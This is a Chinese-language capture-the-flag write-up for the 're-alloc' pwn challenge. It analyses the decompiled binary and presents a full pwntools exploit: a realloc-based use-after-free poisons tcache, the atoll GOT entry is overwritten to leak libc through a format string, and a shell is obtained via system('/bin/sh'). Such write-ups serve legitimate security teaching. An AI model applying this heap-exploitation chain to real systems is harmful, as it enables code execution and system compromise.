1 程序分析

64 位,没开 PIE,libc 版本为 2.29

1
2
3
4
5
6
7
8
9
10
11
(pwn) secreu@Vanilla:~/code/pwnable/re-alloc$ checksec --file=re-alloc
[*] '/home/secreu/code/pwnable/re-alloc/re-alloc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
Stripped: No
(pwn) secreu@Vanilla:~/code/pwnable/re-alloc$ strings libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so | grep "Ubuntu GLIBC"
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.

菜单题,提供了 4 个功能,其中主要有 3 个函数需要我们关注

allocate 函数提供分配和写入功能,最多允许同时控制 2 个堆块,堆块指针存放在 .bss 节 0x4040B0 位置,最多允许分配的大小为 0x78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int allocate()
{
_BYTE *v0; // rax
unsigned __int64 v2; // [rsp+0h] [rbp-20h]
unsigned __int64 size; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+18h] [rbp-8h]

printf("Index:");
v2 = read_long();
if ( v2 > 1 || heap[v2] )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
printf("Size:");
size = read_long();
if ( size <= 0x78 )
{
v4 = realloc(0LL, size);
if ( v4 )
{
heap[v2] = v4;
printf("Data:");
v0 = (_BYTE *)(heap[v2] + read_input(heap[v2], size));
*v0 = 0;
}
else
{
LODWORD(v0) = puts("alloc error");
}
}
else
{
LODWORD(v0) = puts("Too large!");
}
}
return (int)v0;
}

rfree 函数提供释放功能,这里清空了指针,不能 UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int rfree()
{
void *v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

printf("Index:");
v2 = read_long();
if ( v2 > 1 )
{
LODWORD(v0) = puts("Invalid !");
}
else
{
realloc(*((void **)&heap + v2), 0LL);
v0 = &heap;
*((_QWORD *)&heap + v2) = 0LL;
}
return (int)v0;
}

reallocate 函数提供修改堆块大小和重写入的功能,主要就是调用 realloc 函数去实现。注意这里没有检查 size 为 0 的情况,size 为 0 时 realloc 等价于 free,返回 0,reallocate 检测到 0 就直接返回了,所以存在 UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int reallocate()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]

printf("Index:");
v1 = read_long();
if ( v1 > 1 || !*((_QWORD *)&heap + v1) )
return puts("Invalid !");
printf("Size:");
size = read_long();
if ( size > 0x78 )
return puts("Too large!");
v3 = realloc(*((void **)&heap + v1), size);
if ( !v3 )
return puts("alloc error");
*((_QWORD *)&heap + v1) = v3;
printf("Data:");
return read_input(*((_QWORD *)&heap + v1), (unsigned int)size);
}

2 漏洞利用

先准备好与程序交互的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def alloc(index, size, data):
io.sendlineafter(b'Your choice: ', b'1')
io.sendafter(b'Index:', str(index).encode())
io.sendafter(b'Size:', str(size).encode())
io.sendafter(b'Data:', data)

def realloc(index, size, data):
io.sendlineafter(b'Your choice: ', b'2')
io.sendafter(b'Index:', str(index).encode())
io.sendafter(b'Size:', str(size).encode())
if data != b'':
io.sendafter(b'Data:', data)

def free(index):
io.sendlineafter(b'Your choice: ', b'3')
io.sendafter(b'Index:', str(index).encode())

显然,我们要用这个 UAF 去修改 tcache bins 链表上的 next 指针,从而实现任意地址分配/写

2.1 任意地址分配/写

由于 realloc 没有检查目标堆块是否已经被释放(在 tcahce bins 上),我们可以通过输入和之前同样的 Size 实现对目标堆块的二次写

1
2
3
4
alloc(0, 0x10, b'A' * 0x8)
alloc(1, 0x10, b'A' * 0x8)
realloc(1, 0, b'')
realloc(1, 0x10, b'B' * 0x8)

例如上面的代码制造了 chunk_1 的 UAF,并再次调用 reallocate 将其中的 next 指针填满了 0x42

gdb_1

比如为了能够分配到 .bss 节上 0x404080 的位置,我们首先要 free 一个堆块,然后再构造一个 UAF 堆块,覆盖其 next 指针为目标地址 0x404080,再通过 2 次 allocate 才能拿到目标地址堆块

这里的第 1 次 allocate 拿到的是 UAF 堆块,此时我们已经有了上限 2 个的控制堆块,必须要再 free 掉至少 1 个才能继续 allocate。这 2 个控制堆块指针都是 UAF 堆块,直接 free 会造成 double free 而报错,虽然可以通过修改 key 字段绕过,但我们也不希望它再次被加入 tcache bins 原 size 的 链表。

此时可以利用 realloc 将其 size 扩大(紧邻 top chunk 可以直接被扩大),再 free,该 UAF 堆块就会被加入其他 size 的链表上,并且我们也将 0 号指针空出来了,能够继续 allocate

1
2
3
4
5
6
7
8
alloc(0, 0x10, b'A' * 0x8)
alloc(1, 0x10, b'A' * 0x8)
free(0)
realloc(1, 0, b'')
realloc(1, 0x10, p64(0x404080))
alloc(0, 0x10, b'A' * 0x8)
realloc(0, 0x20, b'A' * 0x8)
free(0)

gdb_2

2.2 泄露 Libc

程序调用 read_long 函数读取我们输入的 Index 和 Size,这里使用了 atoll 将字符串转换成 64 位整型,我们可以利用 UAF 修改 next 指针为 GOT 表上 atoll 对应的表项,然后将其修改成我们想要的函数,例如 printf,而且字符串是我们输入的,就可以利用格式化字符串漏洞泄露地址

1
2
3
4
5
6
7
8
9
__int64 read_long()
{
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
__read_chk(0LL, nptr, 16LL, 17LL);
return atoll(nptr);
}

所以我们选定目标地址为 elf.got['atoll'],构造上面的任意地址分配,将 elf.plt['printf'] 写入 elf.got['atoll']

1
2
3
4
5
6
7
8
9
10
alloc(0, 0x10, b'A' * 0x8)
alloc(1, 0x10, b'A' * 0x8)
free(0)
realloc(1, 0, b'')
realloc(1, 0x10, p64(elf.got['atoll']))
alloc(0, 0x10, b'A' * 0x8)
realloc(0, 0x20, b'A' * 0x8)
free(0)

alloc(0, 0x10, p64(elf.plt['printf']))

gdb_3

之后再调用 atoll 其实就是调用 printf,然后我们可以利用提供的 rfree 功能去调用 atoll,它足够简单,只读取一个 Index,并且 printf 的返回值大于 1 就直接报错 “Invalid !” 退出

利用 free("%1$llx") 就等价于 printf("%1$llx"),将 1 号参数泄露出来,这里看到 7fff225edbd0,这其实就是 “%1$llx” 存放在栈上的位置

1
2
3
4
5
6
7
8
[DEBUG] Sent 0x2 bytes:
b'3\n'
[DEBUG] Received 0x6 bytes:
b'Index:'
[DEBUG] Sent 0x6 bytes:
b'%1$llx'
[DEBUG] Received 0x10e bytes:
00000000 37 66 66 66 32 32 35 65 64 62 64 30 49 6e 76 61 │7fff│225e│dbd0│Inva│

继续尝试后面的参数,发现 “%3$llx” 对应 libc 上 __read_chk + 9 的位置,相对 libc 基地址偏移为 0x12E009

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    alloc(0, 0x10, b'A' * 0x8)
alloc(1, 0x10, b'A' * 0x8)
free(0)
realloc(1, 0, b'')
realloc(1, 0x10, p64(elf.got['atoll']))
alloc(0, 0x10, b'A' * 0x8)
realloc(0, 0x20, b'A' * 0x8)
free(0)

alloc(0, 0x10, p64(elf.plt['printf']))
free("%3$llx")

read_chk_9 = int(io.recv(12).decode(), 16)
libc_base = read_chk_9 - 0x12E009
system_addr = libc_base + libc.sym['system']
log.info("libc_base: " + hex(libc_base))
log.info("system_addr: " + hex(system_addr))
'''
[DEBUG] Received 0x6 bytes:
b'Index:'
[DEBUG] Sent 0x6 bytes:
b'%3$llx'
[DEBUG] Received 0x10e bytes:
00000000 37 61 61 38 36 66 36 30 64 30 30 39 49 6e 76 61 │7aa8│6f60│d009│Inva│
...
[*] libc_base: 0x7aa86f4df000
[*] system_addr: 0x7aa86f531fd0
'''

gdb_4

这样我们就拿到了 libc 基址

2.3 获取 Shell

重复一遍之前操作,再改一次 atoll GOT 表项,将其改为 system,再 free("/bin/sh\x00") 即可拿到 shell

之前泄露 libc 时我们已经将 UAF 堆块释放到了 tcache bins 0x30 链上,我们只需要提前在上面先 free 一个堆块,就可以在该链上再构造一次任意地址分配。然后调用 reallocaterfree 扩展 2 次大小并 free,将 2 个控制指针清空,就可以再 allocate 2 次了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
alloc(0, 0x20, b'A' * 0x8)
free(0)

alloc(0, 0x10, b'A' * 0x8)
alloc(1, 0x10, b'A' * 0x8)
free(0)
realloc(1, 0, b'')
realloc(1, 0x10, p64(elf.got['atoll']))
alloc(0, 0x10, b'A' * 0x8)
realloc(0, 0x20, b'A' * 0x8)
free(0)

realloc(1, 0x20, p64(elf.got['atoll']))
alloc(0, 0x20, b'A' * 0x8)
realloc(0, 0x30, b'A' * 0x8)
free(0)
realloc(1, 0x40, b'A' * 0x8)
free(1)

gdb_5

然后要注意,泄露 libc 时已经将 atoll 改成了 printf,最后一次 allocate 输入的前 2 个参数含义如下:

  1. printf("1") 返回值为 1,对应 Index 为 1
  2. printf("%32c") 返回值为 32,对应 Size 为 0x20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def exploit():
alloc(0, 0x20, b'A' * 0x8)
free(0)

alloc(0, 0x10, b'A' * 0x8)
alloc(1, 0x10, b'A' * 0x8)
free(0)
realloc(1, 0, b'')
realloc(1, 0x10, p64(elf.got['atoll']))
alloc(0, 0x10, b'A' * 0x8)
realloc(0, 0x20, b'A' * 0x8)
free(0)

realloc(1, 0x20, p64(elf.got['atoll']))
alloc(0, 0x20, b'A' * 0x8)
realloc(0, 0x30, b'A' * 0x8)
free(0)
realloc(1, 0x40, b'A' * 0x8)
free(1)

alloc(0, 0x10, p64(elf.plt['printf']))
free("%3$llx")

read_chk_9 = int(io.recv(12).decode(), 16)
libc_base = read_chk_9 - 0x12E009
system_addr = libc_base + libc.sym['system']
log.info("libc_base: " + hex(libc_base))
log.info("system_addr: " + hex(system_addr))

alloc(1, "%32c", p64(system_addr))
free("/bin/sh\x00")

io.interactive()